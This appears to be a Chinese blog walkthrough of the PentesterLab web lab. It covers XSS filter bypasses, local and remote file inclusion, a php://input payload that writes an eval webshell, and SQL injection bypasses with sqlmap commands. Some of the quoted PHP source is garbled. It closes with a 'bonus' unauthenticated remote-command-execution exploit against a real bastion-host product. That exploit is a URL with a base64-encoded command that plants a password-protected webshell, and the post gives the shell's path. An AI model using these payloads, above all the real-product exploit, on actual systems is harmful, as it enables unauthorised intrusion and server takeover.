01
前言
02
Pentesterlab的安装
03
XSS
Example 1
require_once '../header.php'; <html> Hello echo $_GET["name"]; require_once '../footer.php';
Example 2
<sCript>alert('hello')</scripT>
require_once '../header.php'; Hello $name = $_GET["name"]; $name = preg_replace("/<script>/","", $name); $name = preg_replace("/</script>/","", $name); echo $name; require_once '../footer.php';
<scr<script>ipt>alert('hello')</sc</script>ript>
Example 3
<scr<script>ipt>alert('hello')</sc</script>ript>
"name"]; $name = preg_replace("/<script>/i","", $name); $name = preg_replace("/</script>/i","", $name); echo $name; require_once '../footer.php'; $name = $_GET[
Example 4
<img src='1' onerror='alert(1)' />
require_once '../header.php'; if (preg_match('/script/i', $_GET["name"])) { die("error"); } Hello echo $_GET["name"]; require_once '../footer.php';
2.confirm() 方法,其用于显示一个带有指定消息和 OK 及取消按钮的对话框。
<script>u0061u006Cu0065u0072u0074('hello')</script>
require_once '../header.php'; if (preg_match('/alert/i', $_GET["name"])) { die("error"); } Hello echo $_GET["name"]; require_once '../footer.php';
Example 6
" ;alert(1);//
Example 7
Example 8
/"><script>alert(1)</script>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> Your name:<input type="text" name="name" /> <input type="submit" name="submit"/>
Example 9
<script> document.write(location.hash.substring(1)); </script>
04
File Include
Example 1
可以看到这里面直接可以这里没有加各种防护,直接将get到的page给包含了,下面我利用三种方法做一下
本地文件包含
通过包含可以直接看到/etc/passwd中的信息
远程文件包含
首先我将一句话小马以txt的方式放到了我的服务器上让靶机能够访问到,让靶机访问我服务器上的小马
成功访问看到了靶机的phpinfo,蚁剑也连接成功
利用伪协议
1. 利用filter协议读:
php://filter/read=conver.base64-encode/resource=xxx.php
利用这句话就可将所选的代码以base64编码的方式输出,当我们知道我们需要查看相关页面的源码我们便可以查看,以example.php为例
http://192.168.234.142/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=example1.php
base64解码后便可以查看到example1.php的信息
2.利用input协议 (前提是fopen还有include都要开)
传小马:
http://192.168.234.142/fileincl/example1.php?page=php://input
post:
<?php fputs(fopen("shell1.php","w"),"<?php @eval($_REQUEST['a'])?>");
也可以直接通过input伪协议直接查看:
Example 2
查看源码:
直接输出了,这里就不写其他方法了,文件包含1的利用办法都可以只不过是在最后加上%00
05
SQL injections
Example 1
这一关就是常见的字符型注入,利用 ' 进行闭合
Example 2
可以看到这里对name进行了一次匹配,如果匹配到空格将会被ban,那就用 块注释符进行绕过,因为空格被ban所以这里的要用到 #来进行注释 ,url中 #号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括# 将#号改成url的编码%23就可以了。
sqlmap利用 --tamper=space2comment 可以进行绕过
Example 3
查看源码
这里是进行匹配任意空白字符,所以利用 example 2 的方式便可以进行绕过
Example 4
查看源码
mysql_real_escape_string() 函数会将sql语句中的一些特殊字符进行转义 如常用到的 ' ," , 等进行转义,所以这里会限制进行一些操作,但是这里也可以进行一些不需要这些符号的注入 如 1 OR 1=1
但是观察代码可以发现,这个是有个数字型注入,所以这里基本不受影响,直接
Example 5
先看源码
这里改成了正则匹配。。。在字符串开头进行匹配,匹配一个或多个数字,用 4 的方法依然有效
Example 6
查看源码
这次是又改成在字符串的末尾进行匹配了,那就在末尾加几个数字进行绕过一下
Example 7
这里对id进行了严格要求其中id只能为正负数,但其有 /m:匹配每一行的开始和结束,又结合 ?所以这里只需要满足其中一行满足正则表达式即可,利用 %0a换行符进行绕过
Example 8
看源码
这里利用的是 order by 而不是利用 where 所以这里考虑利用盲注做一下 还有就是这里利用的 ` 所以在利用sqlmap跑的时候应该加上否则不太容易成功
py sqlmap.py -u "http://192.168.234.142/sqli/example8.php?order=name`" --dbs
Example 9
跟8差不多还是需要盲注,利用sqlmap跑一下
未完待续+文末福利
齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)未授权无登录。
1、访问 http://127.0.0.1/listener/cluster_manage.php :返回 "OK".
2、访问如下链接即可getshell,执行成功后,生成PHP一句话马
https://127.0.0.1/ha_request.php?action=install&ipaddr=127.0.0.1&node_id=1${IFS}|`echo${IFS}" ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}- d|bash`|${IFS}|echo${IFS}
3、/var/www/shterm/resources/qrcode/lbj77.php 密码10086
云闲|剑青
侠骨|初心
感 谢 关 注
本文始发于微信公众号(云剑侠心):原创|尝一尝PentesterLab(上)文末福利
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论